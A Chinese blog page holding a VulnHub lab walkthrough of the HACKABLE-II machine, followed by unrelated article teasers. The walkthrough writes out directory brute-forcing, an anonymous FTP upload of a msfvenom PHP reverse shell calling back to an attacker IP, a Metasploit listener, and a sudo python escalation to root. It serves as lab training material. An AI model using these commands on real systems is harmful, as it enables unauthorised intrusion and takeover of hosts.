『vulnhub系列』HACKABLE-II

news/2025/3/15 4:10:27/文章来源:https://www.cnblogs.com/obeto/p/18235089

『vulnhub系列』HACKABLE-II

下载地址:

https://www.vulnhub.com/entry/hackable-ii,711/

信息搜集:

使用nmap探测存活主机,发现主机开启了21,22和80端口

访问80端口的web服务,发现apache默认页面

使用dirsearch进行目录爆破,发现files 目录

dirsearch -u "http://192.168.199.135/"

访问files 页面发现CALL.html

访问CALL.html发现只有一段话

这条路的线索暂时断了,我们使用匿名登录ftp,发现CALL.html

ftp 192.168.199.135
#使用anonymous登录,密码为空

get之后发现就是我们刚刚在files中发现的CALL.html

漏洞利用:

此时我们上传反弹shell(使用msfvenom生成)

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.199.129 lport=4444 -o re_shell.php
#生成反弹shell
put re_shell.php
#上传反弹shell

进入files文件,发现我们刚刚上传的re_shell.php

我们使用msfconsole进行监听

msfconsole
use exploit/multi/handler
set lhost 192.168.199.129
set payload php/meterpreter/reverse_tcp
run

开启监听后,访问re_shell.php ,反弹成功

进入shell,使用python开启交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

提升权限:

我们在/home中发现了important.txt ,读取发现“运行脚本发现数据”

读取/.runme.sh 发现secret key trolled 还有下面的shrek:cf4c2232354952690368f1b3dfdfb24d

使用md5解密得到密码onion

切换sherk,使用密码onion,登陆成功

获得user.txt

使用sudo -l 查看当前用户可以以root权限执行的命令,发现python命令可以以root权限提权

此时我们使用python 进行提权,成功

sudo python3.5 -c 'import os;os.system("/bin/bash");'

得到root.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/720944.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电脑局域网内让其他电脑通过IP访问配置

依次点击桌面左下角“开始菜单”>“所有应用”>“Windows系统”>“控制面板”,如图所示 在控制面板界面,选择“查看方式”为“大图标”,然后点击打开window防火墙,如图所示 然后点击“高级设置”,如图所示在高级安全 Windows 防火墙界面,右侧点击Windows 防火墙…

.eslintrc-auto-import.json 自动导入 依赖 入ref reactive 等

.eslintrc-auto-import.json 自动导入 依赖 入ref reactive 等这篇文章比较详细介绍了这个,但是这种全局导入,其实也是酌情处理。 Reference: vite自动按需导入 https://blog.csdn.net/webbirds/article/details/127283504--------------------------------------------- 生…

13.56MHz电动车NFC刷卡解锁方案-SI522 SI512

随着电动车市场的快速发展,车主对车辆的智能化和便捷性的要求也在不断提升。仪表盘作为电动车的重要组成部分,不仅需要提供基本的行驶信息,还需要具备智能交互功能。基于13.56MHz频率的NFC(近场通信)技术为电动车仪表盘的智能化提供了有效解决方案。本文将介绍一种基于13.…

MBR10100FCT-ASEMI肖特基二极管MBR10100FCT

MBR10100FCT-ASEMI肖特基二极管MBR10100FCT编辑:ll MBR10100FCT-ASEMI肖特基二极管MBR10100FCT 型号:MBR10100FCT 品牌:ASEMI 封装:TO-220F 最大平均正向电流(IF):10A 最大循环峰值反向电压(VRRM):100V 最大正向电压(VF):0.80V 工作温度:-65C~175C 反向恢复时间:…

数字先锋 | “药”上云!天翼云助力国药数科加速建设“国药云”

5月25日,第七届数字中国建设峰会期间,“国云注智 聚力向新”——2024智算云生态大会智算云论坛在福州举办。会上,国药数科总经理助理、技术总监罗皓在演讲中介绍,国药数科携手天翼云,系统化构建“1+4+X国药云架构”,为各子公司提供统一标准的云底座、云联网、云运维、云灾…

企业级数据保护:华企盾DSC敏感内容识别与加密技术

在当今数字化时代,企业面临的数据安全挑战日益严峻。敏感数据的泄露不仅会导致经济损失,还可能损害企业的声誉和客户信任。因此,采用先进的敏感内容识别和加密技术,例如华企盾DSC敏感内容识别,对企业数据进行有效保护至关重要。一、敏感内容识别的重要性 企业内部的敏感数…

帆软BI对月累计值求年同比

新建计算字段:月累计值 DEF_ADD(SUM_AGG(${销售额}),[],[${年份}=EARLIER(${年份}),${月份}<=EARLIER(${月份})]) 新建计算字段:上一年月累计值DEF_ADD(SUM_AGG(${销售额}),[],[${年份}=EARLIER(${年份}-1),${月份}<=EARLIER(${月份})]) 新建计算字段:月累计值同比增长…

在线HMAC加密工具

在线HMAC加密工具提供一站式服务,支持MD5至SHA512、RIPEMD160及SM3等多种哈希算法,用户可便捷选择算法并生成安全的HMAC散列值,确保消息完整性与验证来源。适用于开发调试、网络安全测试及敏感数据处理场景。在线HMAC加密工具

利用西门子DQ模块控制移位寄存器,模拟串行通信

1. 背景以前了解过串行通信的方法但是没有详细了解过具体实现。趁着手上有的一堆破铜烂铁尝试自己去实现一个最简单的串行控制。 目的是通过移位寄存器的不同位的表达,达到2*2=4个的继电器管断组合,达到切换矩阵的目的。 这里只记录一下程序实现,不记录硬件电路。2. 材料移位…

利用西门子DQ模块控制移位寄存器的,模拟串行通信

1. 背景以前了解过串行通信的方法但是没有详细了解过具体实现。趁着手上有的一堆破铜烂铁尝试自己去实现一个最简单的串行控制。 目的是通过移位寄存器的不同位的表达,达到2*2=4个的继电器管断组合,达到切换矩阵的目的。 这里只记录一下程序实现,不记录硬件电路。2. 材料移位…

2024-06-06 前端开发环境

前言:今天公司给我配了台电脑,要我装一下环境,故此记录一下。 一.nvm:node版本管理器,全称Node Version Manage。使用它不用单独跑去node官网下载node,nvm提供了更便捷的下载方式。 下载链接:https://github.com/coreybutler/nvm-windows/releases上面两个任选一个即可。…

【Unity】Texture下载、保存、加载

代码块 网络下载图片 // 2017之后推荐使用UnityWebRequest IEnumerator DownloadTexture(string url){WWW www = new WWW (url);yield return www;if (www.isDone) {texture = www.texture;} }保存图片到本地 void SaveTexture(){string savePath = Application.persistentData…